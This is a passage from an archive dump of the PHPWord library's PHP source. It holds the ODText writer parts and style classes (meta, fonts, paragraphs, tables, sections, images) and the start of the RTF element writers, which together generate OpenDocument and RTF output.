 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

use PhpOffice\PhpWord\Shared\XMLWriter;

/**
 * ODText meta part writer: meta.xml.
 *
 * @since 0.11.0
 */
class Meta extends AbstractPart
{
    /**
     * Write part.
     *
     * @return string
     */
    public function write()
    {
        $phpWord = $this->getParentWriter()->getPhpWord();
        $docProps = $phpWord->getDocInfo();
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startDocument('1.0', 'UTF-8');
        $xmlWriter->startElement('office:document-meta');
        $xmlWriter->writeAttribute('office:version', '1.2');
        $xmlWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0');
        $xmlWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink');
        $xmlWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/');
        $xmlWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0');
        $xmlWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office');
        $xmlWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#');
        $xmlWriter->startElement('office:meta');

        // Core properties
        $xmlWriter->writeElement('dc:title', $docProps->getTitle());
        $xmlWriter->writeElement('dc:subject', $docProps->getSubject());
        $xmlWriter->writeElement('dc:description', $docProps->getDescription());
        $xmlWriter->writeElement('dc:creator', $docProps->getLastModifiedBy());
        $xmlWriter->writeElement('dc:date', gmdate($this->dateFormat, $docProps->getModified()));

        // Extended properties
        $xmlWriter->writeElement('meta:generator', 'PHPWord');
        $xmlWriter->writeElement('meta:initial-creator', $docProps->getCreator());
        $xmlWriter->writeElement('meta:creation-date', gmdate($this->dateFormat, $docProps->getCreated()));
        $xmlWriter->writeElement('meta:keyword', $docProps->getKeywords());

        // Category, company, and manager are put in meta namespace
        $properties = ['Category', 'Company', 'Manager'];
        foreach ($properties as $property) {
            $method = "get{$property}";
            if ($docProps->$method() !== null) {
                $this->writeCustomProperty($xmlWriter, $property, $docProps->$method());
            }
        }

        // Other custom properties
        // @todo Check type. Currently all assumed as string
        foreach ($docProps->getCustomProperties() as $property) {
            $value = $docProps->getCustomPropertyValue($property);
            $this->writeCustomProperty($xmlWriter, $property, $value);
        }

        $xmlWriter->endElement(); // office:meta
        $xmlWriter->endElement(); // office:document-meta

        return $xmlWriter->getData();
    }

    /**
     * Write individual property.
     *
     * @param string $property
     * @param string $value
     *
     * @todo Handle other `$type`: double|date|dateTime|duration|boolean (4th arguments)
     */
    private function writeCustomProperty(XMLWriter $xmlWriter, $property, $value): void
    {
        $xmlWriter->startElement('meta:user-defined');
        $xmlWriter->writeAttribute('meta:name', $property);
        // if ($type !== null) {
        //     $xmlWriter->writeAttribute('meta:value-type', $type);
        // }
        $this->writeText($value);
        $xmlWriter->endElement(); // meta:user-defined
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Part/AbstractPart.php000066600000013143151150442730022305 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Part;

use PhpOffice\PhpWord\Element\AbstractElement;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\XMLWriter;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font;
use PhpOffice\PhpWord\Writer\Word2007\Part\AbstractPart as Word2007AbstractPart;

/**
 * ODText writer part abstract.
 */
abstract class AbstractPart extends Word2007AbstractPart
{
    /**
     * @var AbstractElement[]
     */
    protected $objects = [];

    /**
     * @var string Date format
     */
    protected $dateFormat = 'Y-m-d\TH:i:s.000';

    /**
     * Write common root attributes.
     */
    protected function writeCommonRootAttributes(XMLWriter $xmlWriter): void
    {
        $xmlWriter->writeAttribute('office:version', '1.2');
        $xmlWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0');
        $xmlWriter->writeAttribute('xmlns:style', 'urn:oasis:names:tc:opendocument:xmlns:style:1.0');
        $xmlWriter->writeAttribute('xmlns:text', 'urn:oasis:names:tc:opendocument:xmlns:text:1.0');
        $xmlWriter->writeAttribute('xmlns:table', 'urn:oasis:names:tc:opendocument:xmlns:table:1.0');
        $xmlWriter->writeAttribute('xmlns:draw', 'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0');
        $xmlWriter->writeAttribute('xmlns:fo', 'urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0');
        $xmlWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink');
        $xmlWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/');
        $xmlWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0');
        $xmlWriter->writeAttribute('xmlns:number', 'urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0');
        $xmlWriter->writeAttribute('xmlns:svg', 'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0');
        $xmlWriter->writeAttribute('xmlns:chart', 'urn:oasis:names:tc:opendocument:xmlns:chart:1.0');
        $xmlWriter->writeAttribute('xmlns:dr3d', 'urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0');
        $xmlWriter->writeAttribute('xmlns:math', 'http://www.w3.org/1998/Math/MathML');
        $xmlWriter->writeAttribute('xmlns:form', 'urn:oasis:names:tc:opendocument:xmlns:form:1.0');
        $xmlWriter->writeAttribute('xmlns:script', 'urn:oasis:names:tc:opendocument:xmlns:script:1.0');
        $xmlWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office');
        $xmlWriter->writeAttribute('xmlns:ooow', 'http://openoffice.org/2004/writer');
        $xmlWriter->writeAttribute('xmlns:oooc', 'http://openoffice.org/2004/calc');
        $xmlWriter->writeAttribute('xmlns:dom', 'http://www.w3.org/2001/xml-events');
        $xmlWriter->writeAttribute('xmlns:rpt', 'http://openoffice.org/2005/report');
        $xmlWriter->writeAttribute('xmlns:of', 'urn:oasis:names:tc:opendocument:xmlns:of:1.2');
        $xmlWriter->writeAttribute('xmlns:xhtml', 'http://www.w3.org/1999/xhtml');
        $xmlWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#');
        $xmlWriter->writeAttribute('xmlns:tableooo', 'http://openoffice.org/2009/table');
        $xmlWriter->writeAttribute('xmlns:css3t', 'http://www.w3.org/TR/css3-text/');
    }

    /**
     * Write font faces declaration.
     */
    protected function writeFontFaces(XMLWriter $xmlWriter): void
    {
        $xmlWriter->startElement('office:font-face-decls');
        $fontTable = [];
        $styles = Style::getStyles();
        $numFonts = 0;
        if (count($styles) > 0) {
            foreach ($styles as $style) {
                // Font
                if ($style instanceof Font) {
                    ++$numFonts;
                    $name = $style->getName();
                    if (!in_array($name, $fontTable)) {
                        $fontTable[] = $name;

                        // style:font-face
                        $xmlWriter->startElement('style:font-face');
                        $xmlWriter->writeAttribute('style:name', $name);
                        $xmlWriter->writeAttribute('svg:font-family', $name);
                        $xmlWriter->endElement();
                    }
                }
            }
        }
        if (!in_array(Settings::getDefaultFontName(), $fontTable)) {
            $xmlWriter->startElement('style:font-face');
            $xmlWriter->writeAttribute('style:name', Settings::getDefaultFontName());
            $xmlWriter->writeAttribute('svg:font-family', Settings::getDefaultFontName());
            $xmlWriter->endElement();
        }
        $xmlWriter->endElement();
    }

    public function addObject(AbstractElement $object): int
    {
        $this->objects[] = $object;

        return count($this->objects) - 1;
    }

    /**
     * @param AbstractElement[] $objects
     */
    public function setObjects(array $objects): self
    {
        $this->objects = $objects;

        return $this;
    }

    /**
     * @return AbstractElement[]
     */
    public function getObjects(): array
    {
        return $this->objects;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/Table.php000066600000004660151150442730021140 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

/**
 * Table style writer.
 *
 * @since 0.11.0
 */
class Table extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        /** @var \PhpOffice\PhpWord\Style\Table $style Type hint */
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Table) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('style:style');
        $xmlWriter->writeAttribute('style:name', $style->getStyleName());
        $xmlWriter->writeAttribute('style:family', 'table');
        $xmlWriter->startElement('style:table-properties');
        //$xmlWriter->writeAttribute('style:width', 'table');
        $xmlWriter->writeAttribute('style:rel-width', 100);
        $xmlWriter->writeAttribute('table:align', 'center');
        $xmlWriter->writeAttributeIf($style->isBidiVisual(), 'style:writing-mode', 'rl-tb');
        $xmlWriter->endElement(); // style:table-properties
        $xmlWriter->endElement(); // style:style

        $cellWidths = $style->getColumnWidths();
        $countCellWidths = $cellWidths === null ? 0 : count($cellWidths);

        for ($i = 0; $i < $countCellWidths; ++$i) {
            $width = $cellWidths[$i];
            $xmlWriter->startElement('style:style');
            $xmlWriter->writeAttribute('style:name', $style->getStyleName() . '.' . $i);
            $xmlWriter->writeAttribute('style:family', 'table-column');
            $xmlWriter->startElement('style:table-column-properties');
            $xmlWriter->writeAttribute('style:column-width', number_format($width * 0.0017638889, 2, '.', '') . 'cm');
            $xmlWriter->endElement(); // style:table-column-properties
            $xmlWriter->endElement(); // style:style
        }
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/Paragraph.php000066600000015474151150442730022023 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Converter;
use PhpOffice\PhpWord\SimpleType\Jc;
use PhpOffice\PhpWord\Style;

/**
 * Font style writer.
 *
 * @since 0.10.0
 */
class Paragraph extends AbstractStyle
{
    private const BIDI_MAP = [
        Jc::END => Jc::LEFT,
        Jc::START => Jc::RIGHT,
    ];

    private const NON_BIDI_MAP = [
        Jc::START => Jc::LEFT,
        Jc::END => Jc::RIGHT,
    ];

    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Paragraph) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $marginTop = $style->getSpaceBefore();
        $marginBottom = $style->getSpaceAfter();

        $xmlWriter->startElement('style:style');

        $styleName = (string) $style->getStyleName();
        $styleAuto = false;
        $mpm = '';
        $psm = '';
        $pagestart = -1;
        $breakafter = $breakbefore = $breakauto = false;
        if ($style->isAuto()) {
            if (substr($styleName, 0, 2) === 'PB') {
                $styleAuto = true;
                $breakafter = true;
            } elseif (substr($styleName, 0, 2) === 'SB') {
                $styleAuto = true;
                $mpm = 'Standard' . substr($styleName, 2);
                $psn = $style->getNumLevel();
                $pagestart = $psn;
            } elseif (substr($styleName, 0, 2) === 'HD') {
                $styleAuto = true;
                $psm = 'Heading_' . substr($styleName, 2);
                $stylep = \PhpOffice\PhpWord\Style::getStyle($psm);
                if ($stylep instanceof \PhpOffice\PhpWord\Style\Font) {
                    if (method_exists($stylep, 'getParagraph')) {
                        $stylep = $stylep->getParagraph();
                    }
                }
                if ($stylep instanceof \PhpOffice\PhpWord\Style\Paragraph) {
                    if ($stylep->hasPageBreakBefore()) {
                        $breakbefore = true;
                    }
                }
            } elseif (substr($styleName, 0, 2) === 'HE') {
                $styleAuto = true;
                $psm = 'Heading_' . substr($styleName, 2);
                $breakauto = true;
            } else {
                $styleAuto = true;
                $psm = 'Normal';
                if (preg_match('/^P\\d+_(\\w+)$/', $styleName, $matches)) {
                    $psm = $matches[1];
                }
            }
        }

        $xmlWriter->writeAttribute('style:name', $style->getStyleName());
        $xmlWriter->writeAttribute('style:family', 'paragraph');
        if ($styleAuto) {
            $xmlWriter->writeAttributeIf($psm !== '', 'style:parent-style-name', $psm);
            $xmlWriter->writeAttributeIf($mpm !== '', 'style:master-page-name', $mpm);
        }

        $xmlWriter->startElement('style:paragraph-properties');
        if ($styleAuto) {
            if ($breakafter) {
                $xmlWriter->writeAttribute('fo:break-after', 'page');
                $xmlWriter->writeAttribute('fo:margin-top', '0cm');
                $xmlWriter->writeAttribute('fo:margin-bottom', '0cm');
            } elseif ($breakbefore) {
                $xmlWriter->writeAttribute('fo:break-before', 'page');
            } elseif ($breakauto) {
                $xmlWriter->writeAttribute('fo:break-before', 'auto');
            }
            if ($pagestart > 0) {
                $xmlWriter->writeAttribute('style:page-number', $pagestart);
            }
        }
        if (!$breakafter && !$breakbefore && !$breakauto) {
            $twipToPoint = Converter::INCH_TO_TWIP / Converter::INCH_TO_POINT; // 20
            $xmlWriter->writeAttributeIf($marginTop !== null, 'fo:margin-top', ($marginTop / $twipToPoint) . 'pt');
            $xmlWriter->writeAttributeIf($marginBottom !== null, 'fo:margin-bottom', ($marginBottom / $twipToPoint) . 'pt');
        }
        $alignment = $style->getAlignment();
        $bidi = $style->isBidi();
        $defaultRtl = Settings::isDefaultRtl();
        if ($alignment === '' && $bidi !== null) {
            $alignment = Jc::START;
        }
        if ($bidi) {
            $alignment = self::BIDI_MAP[$alignment] ?? $alignment;
        } elseif ($defaultRtl !== null) {
            $alignment = self::NON_BIDI_MAP[$alignment] ?? $alignment;
        }
        $xmlWriter->writeAttributeIf($alignment !== '', 'fo:text-align', $alignment);
        $temp = $style->getLineHeight();
        $xmlWriter->writeAttributeIf($temp !== null, 'fo:line-height', ((string) ($temp * 100) . '%'));
        $xmlWriter->writeAttributeIf($style->hasPageBreakBefore() === true, 'fo:break-before', 'page');

        $tabs = $style->getTabs();
        if ($tabs !== null && count($tabs) > 0) {
            $xmlWriter->startElement('style:tab-stops');
            foreach ($tabs as $tab) {
                $xmlWriter->startElement('style:tab-stop');
                $xmlWriter->writeAttribute('style:type', $tab->getType());
                $xmlWriter->writeAttribute('style:position', (string) ($tab->getPosition() / Converter::INCH_TO_TWIP) . 'in');
                $xmlWriter->endElement();
            }
            $xmlWriter->endElement();
        }

        //Right to left
        $xmlWriter->writeAttributeIf($style->isBidi(), 'style:writing-mode', 'rl-tb');

        //Indentation
        $indent = $style->getIndentation();
        //if ($indent instanceof \PhpOffice\PhpWord\Style\Indentation) {
        if (!empty($indent)) {
            $marg = $indent->getLeft();
            $xmlWriter->writeAttributeIf($marg !== null, 'fo:margin-left', (string) ($marg / Converter::INCH_TO_TWIP) . 'in');
            $marg = $indent->getRight();
            $xmlWriter->writeAttributeIf($marg !== null, 'fo:margin-right', (string) ($marg / Converter::INCH_TO_TWIP) . 'in');
        }

        $xmlWriter->endElement(); //style:paragraph-properties

        if ($styleAuto && substr($styleName, 0, 2) === 'SB') {
            $xmlWriter->startElement('style:text-properties');
            $xmlWriter->writeAttribute('text:display', 'none');
            $xmlWriter->endElement();
        }

        $xmlWriter->endElement(); //style:style
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/Font.php000066600000010651151150442730021014 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

/**
 * Font style writer.
 *
 * @since 0.10.0
 */
class Font extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Font) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $stylep = (method_exists($style, 'getParagraph')) ? $style->getParagraph() : null;
        if ($stylep instanceof \PhpOffice\PhpWord\Style\Paragraph) {
            $temp1 = clone $stylep;
            $temp1->setStyleName($style->getStyleName());
            $temp2 = new \PhpOffice\PhpWord\Writer\ODText\Style\Paragraph($xmlWriter, $temp1);
            $temp2->write();
        }

        $xmlWriter->startElement('style:style');
        $xmlWriter->writeAttribute('style:name', $style->getStyleName());
        $xmlWriter->writeAttribute('style:family', 'text');
        $xmlWriter->startElement('style:text-properties');

        // Name
        $font = $style->getName();
        $xmlWriter->writeAttributeIf($font != '', 'style:font-name', $font);
        $xmlWriter->writeAttributeIf($font != '', 'style:font-name-complex', $font);
        $size = $style->getSize();

        // Size
        $xmlWriter->writeAttributeIf(is_numeric($size), 'fo:font-size', $size . 'pt');
        $xmlWriter->writeAttributeIf(is_numeric($size), 'style:font-size-asian', $size . 'pt');
        $xmlWriter->writeAttributeIf(is_numeric($size), 'style:font-size-complex', $size . 'pt');

        // Color
        $color = $style->getColor();
        $xmlWriter->writeAttributeIf($color != '', 'fo:color', '#' . \PhpOffice\PhpWord\Shared\Converter::stringToRgb($color));

        // Bold & italic
        $xmlWriter->writeAttributeIf($style->isBold(), 'fo:font-weight', 'bold');
        $xmlWriter->writeAttributeIf($style->isBold(), 'style:font-weight-asian', 'bold');
        $xmlWriter->writeAttributeIf($style->isItalic(), 'fo:font-style', 'italic');
        $xmlWriter->writeAttributeIf($style->isItalic(), 'style:font-style-asian', 'italic');
        $xmlWriter->writeAttributeIf($style->isItalic(), 'style:font-style-complex', 'italic');

        // Underline
        // @todo Various mode of underline
        $underline = $style->getUnderline();
        $xmlWriter->writeAttributeIf($underline != 'none', 'style:text-underline-style', 'solid');

        // Strikethrough, double strikethrough
        $xmlWriter->writeAttributeIf($style->isStrikethrough(), 'style:text-line-through-type', 'single');
        $xmlWriter->writeAttributeIf($style->isDoubleStrikethrough(), 'style:text-line-through-type', 'double');

        // Small caps, all caps
        $xmlWriter->writeAttributeIf($style->isSmallCaps(), 'fo:font-variant', 'small-caps');
        $xmlWriter->writeAttributeIf($style->isAllCaps(), 'fo:text-transform', 'uppercase');

        //Hidden text
        $xmlWriter->writeAttributeIf($style->isHidden(), 'text:display', 'none');

        // Superscript/subscript
        $xmlWriter->writeAttributeIf($style->isSuperScript(), 'style:text-position', 'super');
        $xmlWriter->writeAttributeIf($style->isSubScript(), 'style:text-position', 'sub');

        if ($style->isNoProof()) {
            $xmlWriter->writeAttribute('fo:language', 'zxx');
            $xmlWriter->writeAttribute('style:language-asian', 'zxx');
            $xmlWriter->writeAttribute('style:language-complex', 'zxx');
            $xmlWriter->writeAttribute('fo:country', 'none');
            $xmlWriter->writeAttribute('style:country-asian', 'none');
            $xmlWriter->writeAttribute('style:country-complex', 'none');
        }

        // @todo Foreground-Color

        // @todo Background color

        $xmlWriter->endElement(); // style:text-properties
        $xmlWriter->endElement(); // style:style
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/AbstractStyle.php000066600000001554151150442730022674 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

use PhpOffice\PhpWord\Writer\Word2007\Style\AbstractStyle as Word2007AbstractStyle;

/**
 * Style writer.
 *
 * @since 0.10.0
 */
abstract class AbstractStyle extends Word2007AbstractStyle
{
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/Section.php000066600000003156151150442730021514 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

/**
 * Section style writer.
 *
 * @since 0.11.0
 */
class Section extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        /** @var \PhpOffice\PhpWord\Style\Section $style Type hint */
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Section) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('style:style');
        $xmlWriter->writeAttribute('style:name', $style->getStyleName());
        $xmlWriter->writeAttribute('style:family', 'section');
        $xmlWriter->startElement('style:section-properties');

        $xmlWriter->startElement('style:columns');
        $xmlWriter->writeAttribute('fo:column-count', $style->getColsNum());
        $xmlWriter->endElement(); // style:columns

        $xmlWriter->endElement(); // style:section-properties
        $xmlWriter->endElement(); // style:style
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText/Style/Image.php000066600000003203151150442730021123 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\ODText\Style;

/**
 * Image style writer.
 *
 * @since 0.11.0
 */
class Image extends AbstractStyle
{
    /**
     * Write style.
     */
    public function write(): void
    {
        /** @var \PhpOffice\PhpWord\Style\Image $style Type hint */
        $style = $this->getStyle();
        if (!$style instanceof \PhpOffice\PhpWord\Style\Image) {
            return;
        }
        $xmlWriter = $this->getXmlWriter();

        $xmlWriter->startElement('style:style');
        $xmlWriter->writeAttribute('style:name', $style->getStyleName());
        $xmlWriter->writeAttribute('style:family', 'graphic');
        $xmlWriter->writeAttribute('style:parent-style-name', 'Graphics');
        $xmlWriter->startElement('style:graphic-properties');
        $xmlWriter->writeAttribute('style:vertical-pos', 'top');
        $xmlWriter->writeAttribute('style:vertical-rel', 'baseline');
        $xmlWriter->endElement(); // style:graphic-properties
        $xmlWriter->endElement(); // style:style
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/ODText.php000066600000006575151150442730017020 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer;

use PhpOffice\Math\Writer\MathML;
use PhpOffice\PhpWord\Element\AbstractElement;
use PhpOffice\PhpWord\Element\Formula;
use PhpOffice\PhpWord\Media;
use PhpOffice\PhpWord\PhpWord;
use PhpOffice\PhpWord\Writer\ODText\Part\AbstractPart;

/**
 * ODText writer.
 *
 * @since 0.7.0
 */
class ODText extends AbstractWriter implements WriterInterface
{
    /**
     * @var AbstractElement[]
     */
    protected $objects = [];

    /**
     * Create new ODText writer.
     */
    public function __construct(?PhpWord $phpWord = null)
    {
        // Assign PhpWord
        $this->setPhpWord($phpWord);

        // Create parts
        $this->parts = [
            'Mimetype' => 'mimetype',
            'Content' => 'content.xml',
            'Meta' => 'meta.xml',
            'Styles' => 'styles.xml',
            'Manifest' => 'META-INF/manifest.xml',
        ];
        foreach (array_keys($this->parts) as $partName) {
            $partClass = static::class . '\\Part\\' . $partName;
            if (class_exists($partClass)) {
                /** @var \PhpOffice\PhpWord\Writer\ODText\Part\AbstractPart $partObject Type hint */
                $partObject = new $partClass();
                $partObject->setParentWriter($this);
                $this->writerParts[strtolower($partName)] = $partObject;
            }
        }

        // Set package paths
        $this->mediaPaths = ['image' => 'Pictures/'];
    }

    /**
     * Save PhpWord to file.
     */
    public function save(string $filename): void
    {
        $filename = $this->getTempFile($filename);
        $zip = $this->getZipArchive($filename);

        // Add section media files
        $sectionMedia = Media::getElements('section');
        if (!empty($sectionMedia)) {
            $this->addFilesToPackage($zip, $sectionMedia);
        }

        // Write parts
        foreach ($this->parts as $partName => $fileName) {
            if ($fileName === '') {
                continue;
            }
            $part = $this->getWriterPart($partName);
            if (!$part instanceof AbstractPart) {
                continue;
            }

            $part->setObjects($this->objects);

            $zip->addFromString($fileName, $part->write());

            $this->objects = $part->getObjects();
        }

        // Write objects charts
        if (!empty($this->objects)) {
            $writer = new MathML();
            foreach ($this->objects as $idxObject => $object) {
                if ($object instanceof Formula) {
                    $zip->addFromString('Formula' . $idxObject . '/content.xml', $writer->write($object->getMath()));
                }
            }
        }

        // Close zip archive and cleanup temp file
        $zip->close();
        $this->cleanupTempFile();
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/ListItem.php000066600000001431151150442730021411 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * ListItem element RTF writer; extends from text.
 *
 * @since 0.11.0
 */
class ListItem extends Text
{
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/TextRun.php000066600000002274151150442730021276 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

/**
 * TextRun element RTF writer.
 *
 * @since 0.10.0
 */
class TextRun extends AbstractElement
{
    /**
     * Write element.
     *
     * @return string
     */
    public function write()
    {
        $writer = new Container($this->parentWriter, $this->element);
        $this->getStyles();

        $content = '';
        $content .= $this->writeOpening();
        $content .= '{';
        $content .= $writer->write();
        $content .= '}';
        $content .= $this->writeClosing();

        return $content;
    }
}
vendor/phpoffice/phpword/src/PhpWord/Writer/RTF/Element/AbstractElement.php000066600000013313151150442730022736 0ustar00<?php
/**
 * This file is part of PHPWord - A pure PHP library for reading and writing
 * word processing documents.
 *
 * PHPWord is free software distributed under the terms of the GNU Lesser
 * General Public License version 3 as published by the Free Software Foundation.
 *
 * For the full copyright and license information, please read the LICENSE
 * file that was distributed with this source code. For the full list of
 * contributors, visit https://github.com/PHPOffice/PHPWord/contributors.
 *
 * @see         https://github.com/PHPOffice/PHPWord
 *
 * @license     http://www.gnu.org/licenses/lgpl.txt LGPL version 3
 */

namespace PhpOffice\PhpWord\Writer\RTF\Element;

use PhpOffice\PhpWord\Element\AbstractElement as Element;
use PhpOffice\PhpWord\Escaper\Rtf;
use PhpOffice\PhpWord\Settings;
use PhpOffice\PhpWord\Shared\Text as SharedText;
use PhpOffice\PhpWord\Style;
use PhpOffice\PhpWord\Style\Font as FontStyle;
use PhpOffice\PhpWord\Style\Paragraph as ParagraphStyle;
use PhpOffice\PhpWord\Writer\RTF as WriterRTF;
use PhpOffice\PhpWord\Writer\RTF\Style\Font as FontStyleWriter;
use PhpOffice\PhpWord\Writer\RTF\Style\Paragraph as ParagraphStyleWriter;

/**
 * Abstract RTF element writer.
 *
